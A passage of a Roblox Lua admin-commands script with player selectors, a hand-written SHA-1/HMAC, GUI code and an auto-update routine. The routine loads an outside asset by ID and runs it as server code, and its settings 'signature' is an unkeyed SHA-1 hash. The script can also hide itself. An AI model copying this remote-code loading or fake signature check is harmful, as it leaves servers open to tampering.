  943.                 if not i:IsBestFriendsWith(spokenplayer.userId) then
  944.                     table.insert(foundplayers,i)
  945.                 end
  946.             end
  947.            
  948.         elseif listedplayer:lower() == "nbc" then
  949.            
  950.             for _,i in pairs(Players:GetChildren()) do
  951.                 if i.MembershipType == Enum.MembershipType.None then
  952.                     table.insert(foundplayers,i)
  953.                 end
  954.             end
  955.            
  956.         elseif listedplayer:lower() == "bc" then
  957.            
  958.             for _,i in pairs(Players:GetChildren()) do
  959.                 if i.MembershipType == Enum.MembershipType.BuildersClub then
  960.                     table.insert(foundplayers,i)
  961.                 end
  962.             end
  963.            
  964.         elseif listedplayer:lower() == "tbc" then
  965.            
  966.             for _,i in pairs(Players:GetChildren()) do
  967.                 if i.MembershipType == Enum.MembershipType.TurboBuildersClub then
  968.                     table.insert(foundplayers,i)
  969.                 end
  970.             end
  971.    
  972.            
  973.         elseif listedplayer:lower() == "obc" then
  974.            
  975.             for _,i in pairs(Players:GetChildren()) do
  976.                 if i.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  977.                     table.insert(foundplayers,i)
  978.                 end
  979.             end
  980.            
  981.         elseif listedplayer:lower() == "obc" then
  982.            
  983.             for _,i in pairs(Players:GetChildren()) do
  984.                 if i.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  985.                     table.insert(foundplayers,i)
  986.                 end
  987.             end
  988.            
  989.         elseif listedplayer:lower() == "anybc" then
  990.            
  991.             for _,i in pairs(Players:GetChildren()) do
  992.                 if i.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  993.                     table.insert(foundplayers,i)
  994.                 end
  995.             end
  996.            
  997.         --[[elseif listedplayer:lower():sub(1,4) == "team" then
  998.            
  999.             local team = listedplayer:lower():sub(6)
  1000.             local matchedteam
  1001.            
  1002.             for _,i in pairs(Teams:GetChildren()) do
  1003.                 if i:IsA("Team") then
  1004.                     if i.Name:lower():sub(1,#team) == team:lower() then
  1005.                         if not matchedteam then
  1006.                             matchedteam = i
  1007.                         else
  1008.                             error("Team \""..team.."\" is ambiguous.")
  1009.                         end
  1010.                     end
  1011.                 end
  1012.             end
  1013.            
  1014.             assert(matchedteam,"No teams matching \""..team.."\" found.")
  1015.            
  1016.             for _,i in pairs(Players:GetPlayers()) do
  1017.                 if i.TeamColor == matchedteam.TeamColor then
  1018.                     table.insert(foundplayers,i)
  1019.                 end
  1020.             end]]
  1021.            
  1022.         end
  1023.        
  1024.         local currentfoundplayer
  1025.        
  1026.         for _,i in pairs(Players:GetPlayers()) do
  1027.            
  1028.             if i.Name:lower():sub(1,#listedplayer) == listedplayer:lower() then
  1029.                 if not currentfoundplayer then
  1030.                     currentfoundplayer = i
  1031.                 else
  1032.                     error(str.." is ambiguous")
  1033.                 end
  1034.             end
  1035.            
  1036.         end
  1037.        
  1038.         table.insert(foundplayers,currentfoundplayer)
  1039.        
  1040.     end
  1041.    
  1042.     assert(foundplayers[1],"No players were found matching \""..str.."\"")
  1043.    
  1044.     return foundplayers
  1045. end
  1046.  
  1047. function TweenBackgroundTransparency(element,starta,enda,length)
  1048.     coroutine.resume(coroutine.create(function()
  1049.         local startTime = time()
  1050.         local lastTrans = element.BackgroundTransparency
  1051.         while time() - startTime < length do
  1052.             if element.BackgroundTransparency == lastTrans then
  1053.                 element.BackgroundTransparency = ((enda - starta) * ((time() - startTime)/length)) + starta
  1054.             else
  1055.                 break
  1056.             end
  1057.             lastTrans = element.BackgroundTransparency
  1058.             wait(.01)
  1059.         end
  1060.         element.BackgroundTransparency = enda
  1061.         return true
  1062.     end))
  1063. end
  1064.  
  1065. function TweenTextTransparency(element,starta,enda,length)
  1066.     coroutine.resume(coroutine.create(function()
  1067.         local startTime = time()
  1068.         local lastTextTrans = element.TextTransparency
  1069.         local lastTextStrokeTrans = element.TextStrokeTransparency
  1070.        
  1071.         while time() - startTime < length do
  1072.             if element.TextTransparency == lastTextTrans and element.TextStrokeTransparency == lastTextStrokeTrans then
  1073.                 element.TextTransparency = ((enda - starta) * ((time() - startTime)/length)) + starta
  1074.                 element.TextStrokeTransparency = 0.75 + (element.TextTransparency * 0.25)
  1075.             else
  1076.                 break
  1077.             end
  1078.             lastTextTrans = element.TextTransparency
  1079.             lastTextStrokeTrans = element.TextStrokeTransparency
  1080.             wait(.01)
  1081.         end
  1082.         element.TextTransparency = enda
  1083.         element.TextStrokeTransparency = 0.75 + (element.TextTransparency * 0.25)
  1084.         return true
  1085.     end))
  1086. end
  1087.  
  1088. sha1 = {}
  1089.  
  1090. local cfg_caching = false
  1091.  
  1092. local floor,modf = math.floor,math.modf
  1093. local char,format,rep = string.char,string.format,string.rep
  1094.  
  1095. local function bytes_to_w32 (a,b,c,d) return a*0x1000000+b*0x10000+c*0x100+d end
  1096.  
  1097. local function w32_to_bytes (i)
  1098.     return floor(i/0x1000000)%0x100,floor(i/0x10000)%0x100,floor(i/0x100)%0x100,i%0x100
  1099. end
  1100.  
  1101. local function w32_rot (bits,a)
  1102.     local b2 = 2^(32-bits)
  1103.     local a,b = modf(a/b2)
  1104.     return a+b*b2*(2^(bits))
  1105. end
  1106.  
  1107. local function cache2arg (fn)
  1108.     if not cfg_caching then return fn end
  1109.     local lut = {}
  1110.     for i=0,0xffff do
  1111.         local a,b = floor(i/0x100),i%0x100
  1112.         lut[i] = fn(a,b)
  1113.     end
  1114.     return function (a,b)
  1115.         return lut[a*0x100+b]
  1116.     end
  1117. end
  1118.  
  1119. local function byte_to_bits (b)
  1120.     local b = function (n)
  1121.         local b = floor(b/n)
  1122.         return b%2==1
  1123.     end
  1124.     return b(1),b(2),b(4),b(8),b(16),b(32),b(64),b(128)
  1125. end
  1126.  
  1127. local function bits_to_byte (a,b,c,d,e,f,g,h)
  1128.     local function n(b,x) return b and x or 0 end
  1129.     return n(a,1)+n(b,2)+n(c,4)+n(d,8)+n(e,16)+n(f,32)+n(g,64)+n(h,128)
  1130. end
  1131.  
  1132. local function bits_to_string (a,b,c,d,e,f,g,h)
  1133.     local function x(b) return b and "1" or "0" end
  1134.     return ("%s%s%s%s %s%s%s%s"):format(x(a),x(b),x(c),x(d),x(e),x(f),x(g),x(h))
  1135. end
  1136.  
  1137. local function byte_to_bit_string (b)
  1138.     return bits_to_string(byte_to_bits(b))
  1139. end
  1140.  
  1141. local function w32_to_bit_string(a)
  1142.     if type(a) == "string" then return a end
  1143.     local aa,ab,ac,ad = w32_to_bytes(a)
  1144.     local s = byte_to_bit_string
  1145.     return ("%s %s %s %s"):format(s(aa):reverse(),s(ab):reverse(),s(ac):reverse(),s(ad):reverse()):reverse()
  1146. end
  1147.  
  1148. local band = cache2arg (function(a,b)
  1149.     local A,B,C,D,E,F,G,H = byte_to_bits(b)
  1150.     local a,b,c,d,e,f,g,h = byte_to_bits(a)
  1151.     return bits_to_byte(
  1152.         A and a, B and b, C and c, D and d,
  1153.         E and e, F and f, G and g, H and h)
  1154. end)
  1155.  
  1156. local bor = cache2arg(function(a,b)
  1157.     local A,B,C,D,E,F,G,H = byte_to_bits(b)
  1158.     local a,b,c,d,e,f,g,h = byte_to_bits(a)
  1159.     return bits_to_byte(
  1160.         A or a, B or b, C or c, D or d,
  1161.         E or e, F or f, G or g, H or h)
  1162. end)
  1163.  
  1164. local bxor = cache2arg(function(a,b)
  1165.     local A,B,C,D,E,F,G,H = byte_to_bits(b)
  1166.     local a,b,c,d,e,f,g,h = byte_to_bits(a)
  1167.     return bits_to_byte(
  1168.         A ~= a, B ~= b, C ~= c, D ~= d,
  1169.         E ~= e, F ~= f, G ~= g, H ~= h)
  1170. end)
  1171.  
  1172. local function bnot (x)
  1173.     return 255-(x % 256)
  1174. end
  1175.  
  1176. local function w32_comb(fn)
  1177.     return function (a,b)
  1178.         local aa,ab,ac,ad = w32_to_bytes(a)
  1179.         local ba,bb,bc,bd = w32_to_bytes(b)
  1180.         return bytes_to_w32(fn(aa,ba),fn(ab,bb),fn(ac,bc),fn(ad,bd))
  1181.     end
  1182. end
  1183.  
  1184. local w32_and = w32_comb(band)
  1185. local w32_xor = w32_comb(bxor)
  1186. local w32_or = w32_comb(bor)
  1187.  
  1188. local function w32_xor_n (a,...)
  1189.     local aa,ab,ac,ad = w32_to_bytes(a)
  1190.     for i=1,select('#',...) do
  1191.         local ba,bb,bc,bd = w32_to_bytes(select(i,...))
  1192.         aa,ab,ac,ad = bxor(aa,ba),bxor(ab,bb),bxor(ac,bc),bxor(ad,bd)
  1193.     end
  1194.     return bytes_to_w32(aa,ab,ac,ad)
  1195. end
  1196.  
  1197. local function w32_or3 (a,b,c)
  1198.     local aa,ab,ac,ad = w32_to_bytes(a)
  1199.     local ba,bb,bc,bd = w32_to_bytes(b)
  1200.     local ca,cb,cc,cd = w32_to_bytes(c)
  1201.     return bytes_to_w32(
  1202.         bor(aa,bor(ba,ca)), bor(ab,bor(bb,cb)), bor(ac,bor(bc,cc)), bor(ad,bor(bd,cd))
  1203.     )
  1204. end
  1205.  
  1206. local function w32_not (a)
  1207.     return 4294967295-(a % 4294967296)
  1208. end
  1209.  
  1210. local function w32_add (a,b) return (a+b) % 4294967296 end
  1211.  
  1212. local function w32_add_n (a,...)
  1213.     for i=1,select('#',...) do
  1214.         a = (a+select(i,...)) % 4294967296
  1215.     end
  1216.     return a
  1217. end
  1218.  
  1219. local function w32_to_hexstring (w) return format("%08x",w) end
  1220.  
  1221. function sha1.hex(msg)
  1222.     local H0,H1,H2,H3,H4 = 0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476,0xC3D2E1F0
  1223.     local msg_len_in_bits = #msg * 8
  1224.  
  1225.     local first_append = char(0x80) -- append a '1' bit plus seven '0' bits
  1226.  
  1227.     local non_zero_message_bytes = #msg +1 +8 -- the +1 is the appended bit 1, the +8 are for the final appended length
  1228.     local current_mod = non_zero_message_bytes % 64
  1229.     local second_append = current_mod>0 and rep(char(0), 64 - current_mod) or ""
  1230.  
  1231.     -- now to append the length as a 64-bit number.
  1232.     local B1, R1 = modf(msg_len_in_bits  / 0x01000000)
  1233.     local B2, R2 = modf( 0x01000000 * R1 / 0x00010000)
  1234.     local B3, R3 = modf( 0x00010000 * R2 / 0x00000100)
  1235.     local B4      = 0x00000100 * R3
  1236.  
  1237.     local L64 = char( 0) .. char( 0) .. char( 0) .. char( 0) -- high 32 bits
  1238.                 .. char(B1) .. char(B2) .. char(B3) .. char(B4) --  low 32 bits
  1239.  
  1240.     msg = msg .. first_append .. second_append .. L64
  1241.  
  1242.     assert(#msg % 64 == 0)
  1243.  
  1244.     local chunks = #msg / 64
  1245.  
  1246.     local W = { }
  1247.     local start, A, B, C, D, E, f, K, TEMP
  1248.     local chunk = 0
  1249.  
  1250.     while chunk < chunks do
  1251.         --
  1252.         -- break chunk up into W[0] through W[15]
  1253.         --
  1254.         start,chunk = chunk * 64 + 1,chunk + 1
  1255.  
  1256.         for t = 0, 15 do
  1257.             W[t] = bytes_to_w32(msg:byte(start, start + 3))
  1258.             start = start + 4
  1259.         end
  1260.  
  1261.         --
  1262.         -- build W[16] through W[79]
  1263.         --
  1264.         for t = 16, 79 do
  1265.             -- For t = 16 to 79 let Wt = S1(Wt-3 XOR Wt-8 XOR Wt-14 XOR Wt-16).
  1266.             W[t] = w32_rot(1, w32_xor_n(W[t-3], W[t-8], W[t-14], W[t-16]))
  1267.         end
  1268.  
  1269.         A,B,C,D,E = H0,H1,H2,H3,H4
  1270.  
  1271.         for t = 0, 79 do
  1272.             if t <= 19 then
  1273.                 -- (B AND C) OR ((NOT B) AND D)
  1274.                 f = w32_or(w32_and(B, C), w32_and(w32_not(B), D))
  1275.                 K = 0x5A827999
  1276.             elseif t <= 39 then
  1277.                 -- B XOR C XOR D
  1278.                 f = w32_xor_n(B, C, D)
  1279.                 K = 0x6ED9EBA1
  1280.             elseif t <= 59 then
  1281.                 -- (B AND C) OR (B AND D) OR (C AND D
  1282.                 f = w32_or3(w32_and(B, C), w32_and(B, D), w32_and(C, D))
  1283.                 K = 0x8F1BBCDC
  1284.             else
  1285.                 -- B XOR C XOR D
  1286.                 f = w32_xor_n(B, C, D)
  1287.                 K = 0xCA62C1D6
  1288.             end
  1289.  
  1290.             -- TEMP = S5(A) + ft(B,C,D) + E + Wt + Kt;
  1291.             A,B,C,D,E = w32_add_n(w32_rot(5, A), f, E, W[t], K),
  1292.                 A, w32_rot(30, B), C, D
  1293.         end
  1294.         -- Let H0 = H0 + A, H1 = H1 + B, H2 = H2 + C, H3 = H3 + D, H4 = H4 + E.
  1295.         H0,H1,H2,H3,H4 = w32_add(H0, A),w32_add(H1, B),w32_add(H2, C),w32_add(H3, D),w32_add(H4, E)
  1296.     end
  1297.     local f = w32_to_hexstring
  1298.     return f(H0) .. f(H1) .. f(H2) .. f(H3) .. f(H4)
  1299. end
  1300.  
  1301. local function hex_to_binary(hex)
  1302.     return hex:gsub('..', function(hexval)
  1303.         return string.char(tonumber(hexval, 16))
  1304.     end)
  1305. end
  1306.  
  1307. function sha1.bin(msg)
  1308.     return hex_to_binary(sha1.hex(msg))
  1309. end
  1310.  
  1311. local xor_with_0x5c = {}
  1312. local xor_with_0x36 = {}
  1313. -- building the lookuptables ahead of time (instead of littering the source code
  1314. -- with precalculated values)
  1315. for i=0,0xff do
  1316.     xor_with_0x5c[char(i)] = char(bxor(i,0x5c))
  1317.     xor_with_0x36[char(i)] = char(bxor(i,0x36))
  1318. end
  1319.  
  1320. local blocksize = 64 -- 512 bits
  1321.  
  1322. function sha1.hmacHex(key, text)
  1323.     assert(type(key)  == 'string', "key passed to hmacHex should be a string")
  1324.     assert(type(text) == 'string', "text passed to hmacHex should be a string")
  1325.  
  1326.     if #key > blocksize then
  1327.         key = sha1.bin(key)
  1328.     end
  1329.  
  1330.     local key_xord_with_0x36 = key:gsub('.', xor_with_0x36) .. string.rep(string.char(0x36), blocksize - #key)
  1331.     local key_xord_with_0x5c = key:gsub('.', xor_with_0x5c) .. string.rep(string.char(0x5c), blocksize - #key)
  1332.  
  1333.     return sha1.hex(key_xord_with_0x5c .. sha1.bin(key_xord_with_0x36 .. text))
  1334. end
  1335.  
  1336. function sha1.hmacBin(key, text)
  1337.     return hex_to_binary(sha1.hmacHex(key, text))
  1338. end
  1339.  
  1340. if IsPersonalServer and Hidden then
  1341.     script.Parent = ServerScriptService --Makes script no longer available to clients, but the server still sees it
  1342. elseif Hidden then
  1343.     script.Archivable = false
  1344.     script:Destroy() --Makes script no longer available to other client or server scripts
  1345. end
  1346.  
  1347. local SignalAdminShutdown = false
  1348.  
  1349. print("um hi")
  1350.  
  1351. ypcall(function()
  1352.    
  1353.     ypcall(function()
  1354.  
  1355.         if AutoUpdate --[[and tostring(game) ~= "Place1"]] and not script:FindFirstChild("ADMIN_AUTOUPDATE_PREFERENCES") then
  1356.             local adminSoftwareUpdate = InsertService:LoadAsset(138068214)
  1357.            
  1358.             local newAdminScript = adminSoftwareUpdate:FindFirstChild("RyanDolan123's Admin Commands")     
  1359.            
  1360.             print(#adminSoftwareUpdate:GetChildren())
  1361.            
  1362.             if #adminSoftwareUpdate:GetChildren() <= 0 or not newAdminScript then
  1363.                 print("The admin software update isn't even there\nwho designed the god damn insert system")
  1364.                 return
  1365.             end
  1366.            
  1367.             local compilefenv = {}
  1368.             for a,i in pairs(getfenv()) do
  1369.                 if type(i) ~= "table" and type(i) ~= "function" and type(i) ~= "userdata" and a ~= "Commands" and a ~= "sha1" and a ~= "CodeSignCache" and a ~= "AllPlayers" and a ~= "logs" and a ~= "Scripts" and a ~= "PlaceNames" then
  1370.                     print(a.." = "..tostring(i))
  1371.                     compilefenv[a] = i
  1372.                 end
  1373.             end
  1374.            
  1375.             local passJSON = LoadLibrary("RbxUtility").EncodeJSON(compilefenv)
  1376.             local passJSONSign = sha1.hex(passJSON)
  1377.            
  1378.             local passValue = Instance.new("StringValue",newAdminScript)
  1379.             passValue.Name = "ADMIN_AUTOUPDATE_PREFERENCES"
  1380.             passValue.Value = passJSON
  1381.            
  1382.             local signValue = Instance.new("StringValue",newAdminScript)
  1383.             signValue.Name = "ADMIN_AUTOUPDATE_PREFERENCES_SIGNATURE"
  1384.             signValue.Value = passJSONSign
  1385.            
  1386.             newAdminScript.Parent = ServerScriptService
  1387.            
  1388.             SignalAdminShutdown = true
  1389.            
  1390.             print("hi!!!!!")
  1391.            
  1392.         end
  1393.        
  1394.     end)   
  1395.    
  1396.     print("hi!")   
  1397.    
  1398.     if script and script:FindFirstChild("ADMIN_AUTOUPDATE_PREFERENCES") and script:FindFirstChild("ADMIN_AUTOUPDATE_PREFERENCES_SIGNATURE") then
  1399.         print("hi")
  1400.         local prefJSON = script:FindFirstChild("ADMIN_AUTOUPDATE_PREFERENCES").Value
  1401.         print("hi hi")
  1402.         local prefJSONSign = script:FindFirstChild("ADMIN_AUTOUPDATE_PREFERENCES_SIGNATURE").Value
  1403.        
  1404.         if sha1.hex(prefJSON) == prefJSONSign then
  1405.             print("hi hi hi")
  1406.             local lib = LoadLibrary("RbxUtility")
  1407.             if lib and lib.DecodeJSON then
  1408.                 local fenvres = lib.DecodeJSON(prefJSON)
  1409.                 print("hi hi hi hi")
  1410.                 for a,i in pairs(fenvres) do
  1411.                     if type(getfenv()[a]) ~= "function" and getfenv()[a] ~= nil and i ~= "null" and i ~= nil then
  1412.                         getfenv()[a] = i
  1413.                     end
  1414.                 end
  1415.                 print("hi hi hi hi hi")
  1416.             end
  1417.         end
  1418.     end
  1419. end)
  1420.  
  1421. if SignalAdminShutdown then
  1422.     pcall(function()
  1423.         script:Destroy()
  1424.     end)
  1425.    
  1426.     for i,_ in pairs(getfenv()) do
  1427.         getfenv()[i] = nil
  1428.     end
  1429.    
  1430.     return
  1431. end
  1432.  
  1433. function MakeMsgGui(player)
  1434.     if player == root or player == "root" then
  1435.         return true
  1436.     end
  1437.     local Gui = player:WaitForChild("PlayerGui"):FindFirstChild("Admi")
  1438.     if not Gui or not Gui:IsA("ScreenGui") then
  1439.         Gui = MakeAdmiGui(player:WaitForChild("PlayerGui"))
  1440.     end
  1441.     local MsgGui = Instance.new("Frame", Gui)
  1442.     MsgGui.Name = "Msg"
  1443.     MsgGui.Position = UDim2.new(0.5, -250, 0.5, -125)
  1444.     MsgGui.Size = UDim2.new(0, 500, 0, 300)
  1445.     MsgGui.BackgroundColor3 = Color3.new(0, 0, 0)
  1446.     MsgGui.BackgroundTransparency = 0.45
  1447.     MsgGui.BorderSizePixel = 0
  1448.     MsgGui.ZIndex = 10
  1449.    
  1450.     local Msg = Instance.new("TextLabel", MsgGui)
  1451.     Msg.Name = "Msg"
  1452.     Msg.Position = UDim2.new(0, 0, 0.2, 0)
  1453.     Msg.Size = UDim2.new(1, 0, 0.8, 0)
  1454.     Msg.BackgroundColor3 = Color3.new(0.208, 0.208, 0.208)
  1455.     Msg.BackgroundTransparency = 1
  1456.     Msg.BorderSizePixel = 0
  1457.     Msg.Text = "Message"
  1458.     Msg.Font = "Arial"
  1459.     Msg.FontSize = "Size18"
  1460.     Msg.TextStrokeTransparency = 0.7
  1461.     Msg.TextWrapped = true
  1462.     Msg.TextYAlignment = "Top"
  1463.     Msg.TextColor3 = Color3.new(1, 1, 1)
  1464.     Msg.ZIndex = 10
  1465.    
  1466.     local Title = Instance.new("TextLabel", MsgGui)
  1467.     Title.Name = "Title"
  1468.     Title.Position = UDim2.new(0, 0, 0.08, 0)
  1469.     Title.Size = UDim2.new(1, 0, 0.125, 0)
  1470.     Title.BackgroundTransparency = 1
  1471.     Title.BorderSizePixel = 0
  1472.     Title.Text = "Message"
  1473.     Title.Font = "ArialBold"
  1474.     Title.FontSize = "Size24"
  1475.     Title.TextScaled = true
  1476.     Title.TextStrokeTransparency = 0.7
  1477.     Title.TextWrapped = true
  1478.     Title.TextYAlignment = "Top"
  1479.     Title.TextColor3 = Color3.new(1, 1, 1)
  1480.     Title.ZIndex = 10
  1481.    
  1482.     return Msg
  1483. end
  1484.  
  1485. function DisplayScrollFrame(player,title,text)
  1486.     if player == root or player == "root" then
  1487.         return true
  1488.     end
  1489.     local Gui = player:WaitForChild("PlayerGui"):FindFirstChild("Admi")
  1490.     if not Gui or not Gui:IsA("ScreenGui") then
  1491.         Gui = MakeAdmiGui(player:WaitForChild("PlayerGui"))
  1492.     end
  1493.     if Gui:FindFirstChild("ScrollGui") then
  1494.         Gui:FindFirstChild("ScrollGui"):Destroy()
  1495.     end
  1496.    
  1497.     local title = title
  1498.     local text = text
  1499.    
  1500.     if title == nil then
  1501.         title = "Message"
  1502.     end
  1503.     if text == nil then
  1504.         text = title
  1505.         title = "Message"
  1506.     end
  1507.        
  1508.     local ReenableMsg = (Gui:FindFirstChild("Msg") and Gui:FindFirstChild("Msg").Visible) or false
  1509.    
  1510.     local ScrollGui = Instance.new("Frame", Gui)
  1511.     ScrollGui.Name = "ScrollGui"
  1512.     ScrollGui.Position = UDim2.new(0.5, -125, 0.5, -125)
  1513.     ScrollGui.Size = UDim2.new(0, 250, 0, 250)
  1514.     ScrollGui.BackgroundColor3 = Color3.new(0, 0, 0)
  1515.     ScrollGui.BackgroundTransparency = 0.44999998807907
  1516.     ScrollGui.BorderSizePixel = 0
  1517.     ScrollGui.ZIndex = 9
  1518.     ScrollGui.ClipsDescendants = true
  1519.     ScrollGui.Visible = false
  1520.    
  1521.     local ScrollingFrameCutter = Instance.new("Frame", ScrollGui)
  1522.     ScrollingFrameCutter.Name = "ScrollingFrameCutter"
  1523.     ScrollingFrameCutter.Position = UDim2.new(0.5, -250, 0.64999997615814, -250)
  1524.     ScrollingFrameCutter.Size = UDim2.new(1, 0, 0.85000002384186, 0)
  1525.     ScrollingFrameCutter.BackgroundColor3 = Color3.new(0, 0, 0)
  1526.     ScrollingFrameCutter.BackgroundTransparency = 1
  1527.     ScrollingFrameCutter.BorderSizePixel = 0
  1528.     ScrollingFrameCutter.ZIndex = 9
  1529.     ScrollingFrameCutter.ClipsDescendants = true
  1530.    
  1531.     local MsgContainer = Instance.new("TextLabel", ScrollingFrameCutter)
  1532.     MsgContainer.Name = "MsgContainer"
  1533.     MsgContainer.Size = UDim2.new(1, 0, 999, 0)
  1534.     MsgContainer.BackgroundColor3 = Color3.new(0.20784315466881, 0.20784315466881, 0.20784315466881)
  1535.     MsgContainer.BackgroundTransparency = 1
  1536.     MsgContainer.BorderSizePixel = 0
  1537.     MsgContainer.Text = ""
  1538.     MsgContainer.Font = Enum.Font.Arial
  1539.     MsgContainer.FontSize = Enum.FontSize.Size18
  1540.     MsgContainer.TextTransparency = 1
  1541.     MsgContainer.TextWrapped = true
  1542.     MsgContainer.TextYAlignment = Enum.TextYAlignment.Top
  1543.     MsgContainer.TextXAlignment = Enum.TextXAlignment.Left
  1544.     MsgContainer.TextColor3 = Color3.new(1, 1, 1)
  1545.     MsgContainer.ZIndex = 9
  1546.    
  1547.     local MsgStrips = {}
  1548.    
  1549.     for a in text:gmatch("[^\n]+") do
  1550.         local Msg = Instance.new("TextLabel", MsgContainer)
  1551.         Msg.Name = "Msg"..(#MsgStrips + 1)
  1552.         Msg.Size = UDim2.new(1, 0, 0, 20)
  1553.         Msg.Position = UDim2.new(0,0,0,#MsgStrips * 18)
  1554.         Msg.BackgroundColor3 = Color3.new(0.20784315466881, 0.20784315466881, 0.20784315466881)
  1555.         Msg.BackgroundTransparency = 1
  1556.         Msg.BorderSizePixel = 0
  1557.         Msg.Text = a
  1558.         Msg.Font = Enum.Font.Arial
  1559.         Msg.FontSize = Enum.FontSize.Size18
  1560.         Msg.TextTransparency = #MsgContainer:GetChildren() > 24 and 0 or 1
  1561.         Msg.TextWrapped = true
  1562.         Msg.TextYAlignment = Enum.TextYAlignment.Center
  1563.         Msg.TextXAlignment = Enum.TextXAlignment.Left
  1564.         Msg.TextColor3 = Color3.new(1, 1, 1)
  1565.         Msg.ZIndex = 9
  1566.         table.insert(MsgStrips,Msg)
  1567.     end
  1568.    
  1569.     local Up = Instance.new("TextButton", ScrollGui)
  1570.     Up.Name = "Up"
  1571.     Up.Position = UDim2.new(0.94999998807907, 0, 0, 0)
  1572.     Up.Size = UDim2.new(0.050000000745058, 0, 0.050000000745058, 0)
  1573.     Up.BackgroundColor3 = Color3.new(1, 1, 1)
  1574.     Up.BackgroundTransparency = 0.85000002384186
  1575.     Up.Text = "^"
  1576.     Up.Font = Enum.Font.ArialBold
  1577.     Up.FontSize = Enum.FontSize.Size36
  1578.     Up.TextStrokeTransparency = 0.75
  1579.     Up.TextYAlignment = Enum.TextYAlignment.Top
  1580.     Up.TextColor3 = Color3.new(1, 1, 1)
  1581.     Up.ZIndex = 10
  1582.     Up.MouseButton1Click:connect(function()
  1583.         if MsgContainer.Parent == nil then
  1584.             return
  1585.         end
  1586.         local asds = MsgContainer.Position.Y.Scale+0.5
  1587.         if asds > 0 then
  1588.             asds = 0
  1589.         end
  1590.         MsgContainer:TweenPosition(UDim2.new(0,0,asds,0),nil,"Quint",tweentime*0.75,true)
  1591.     end)
  1592.    
  1593.     local Down = Instance.new("TextButton", ScrollGui)
  1594.     Down.Name = "Down"
  1595.     Down.Position = UDim2.new(0.94999998807907, 0, 0.94999998807907, 0)
  1596.     Down.Size = UDim2.new(0.050000000745058, 0, 0.050000000745058, 0)
  1597.     Down.BackgroundColor3 = Color3.new(1, 1, 1)
  1598.     Down.BackgroundTransparency = 0.85000002384186
  1599.     Down.Text = "v"
  1600.     Down.Font = Enum.Font.ArialBold
  1601.     Down.FontSize = Enum.FontSize.Size24
  1602.     Down.TextStrokeTransparency = 0.75
  1603.     Down.TextColor3 = Color3.new(1, 1, 1)
  1604.     Down.ZIndex = 10
  1605.     Down.MouseButton1Click:connect(function()
  1606.         if MsgContainer.Parent == nil then
  1607.             return
  1608.         end
  1609.         MsgContainer:TweenPosition(UDim2.new(0,0,MsgContainer.Position.Y.Scale-0.5,0),nil,"Quint",tweentime*0.75,true)
  1610.     end)
  1611.    
  1612.     local Title = Instance.new("TextLabel", ScrollGui)
  1613.     Title.Name = "Title"
  1614.     Title.Position = UDim2.new(0, 0, 0.025000000372529, 0)
  1615.     Title.Size = UDim2.new(1, 0, 0.10000000149012, 0)
  1616.     Title.BackgroundTransparency = 1
  1617.     Title.BorderSizePixel = 0
  1618.     Title.Text = title
  1619.     Title.Font = Enum.Font.ArialBold
  1620.     Title.FontSize = Enum.FontSize.Size24
  1621.     Title.TextScaled = true
  1622.     Title.TextWrapped = true
  1623.     Title.TextYAlignment = Enum.TextYAlignment.Top
  1624.     Title.TextColor3 = Color3.new(1, 1, 1)
  1625.     Title.ZIndex = 10
  1626.    
  1627.     local Close = Instance.new("TextButton", ScrollGui)
  1628.     Close.Name = "Close"
  1629.     Close.Position = UDim2.new(0, 0, 0, 0)
  1630.     Close.Size = UDim2.new(0.050000000745058, 0, 0.050000000745058, 0)
  1631.     Close.BackgroundColor3 = Color3.new(1, 1, 1)
  1632.     Close.BackgroundTransparency = 0.85000002384186
  1633.     Close.Text = "X"
  1634.     Close.Font = Enum.Font.ArialBold
  1635.     Close.FontSize = Enum.FontSize.Size24
  1636.     Close.TextStrokeTransparency = 0.75
  1637.     Close.TextYAlignment = Enum.TextYAlignment.Top
  1638.     Close.TextColor3 = Color3.new(1, 1, 1)
  1639.     Close.ZIndex = 10
  1640.    
  1641.     Close.MouseButton1Click:connect(function()
  1642.         if MsgContainer == nil or MsgContainer.Parent == nil then
  1643.             return
  1644.         end
  1645.         ScrollGui:TweenSizeAndPosition(UDim2.new(0,250,0,250),UDim2.new(0.5,-125,0.5,-125),nil,"Quint",tweentime,true)
  1646.         TweenBackgroundTransparency(ScrollGui,0.45,1,tweentime*0.4)
  1647.         TweenBackgroundTransparency(Up,0.85,1,tweentime*0.4)
  1648.         TweenBackgroundTransparency(Down,0.85,1,tweentime*0.4)
  1649.         TweenBackgroundTransparency(Close,0.85,1,tweentime*0.4)
  1650.  
  1651.         TweenTextTransparency(Up,0,1,tweentime*0.35)
  1652.         TweenTextTransparency(Down,0,1,tweentime*0.35)
  1653.         TweenTextTransparency(Close,0,1,tweentime*0.35)
  1654.        
  1655.         TweenTextTransparency(Title,0,1,tweentime*0.35)
  1656.        
  1657.         for _,i in pairs(MsgStrips) do
  1658.             TweenTextTransparency(i,0,1,tweentime*0.35)
  1659.         end
  1660.        
  1661.         wait(tweentime)
  1662.         ScrollGui.Visible = false
  1663.         Gui:FindFirstChild("Msg").Visible = ReenableMsg
  1664.     end)
  1665.    
  1666.     ScrollGui:TweenSizeAndPosition(UDim2.new(0,500,0,500),UDim2.new(0.5,-250,0.5,-250),nil,"Quint",tweentime,true)
  1667.     TweenBackgroundTransparency(ScrollGui,1,0.45,tweentime*0.45)
  1668.     TweenBackgroundTransparency(Up,1,0.85,tweentime*0.5)
  1669.     TweenBackgroundTransparency(Down,1,0.85,tweentime*0.5)
  1670.     TweenBackgroundTransparency(Close,1,0.85,tweentime*0.5)
  1671.    
  1672.     TweenTextTransparency(Up,1,0,tweentime*0.6)
  1673.     TweenTextTransparency(Down,1,0,tweentime*0.6)
  1674.     TweenTextTransparency(Close,1,0,tweentime*0.6)
  1675.    
  1676.     TweenTextTransparency(Title,1,0,tweentime*0.6)
  1677.    
  1678.     for _,i in ipairs(MsgStrips) do
  1679.         if _ <= 24 then
  1680.             TweenTextTransparency(i,1,0,tweentime*0.6)
  1681.         end
  1682.     end
  1683.    
  1684.     ScrollGui.Visible = true
  1685.    
  1686.     return ScrollGui
  1687. end
  1688.  
  1689.  
  1690. function DisplayMessage(player,title,text,displaytime)
  1691.     if player == root or player == "root" or player == nil then
  1692.         return
  1693.     end
  1694.     Spawn(function()
  1695.         local text,title = text,title
  1696.         local pgui = player:FindFirstChild("PlayerGui")
  1697.         if not pgui then
  1698.             for _,i in pairs(player:GetChildren()) do
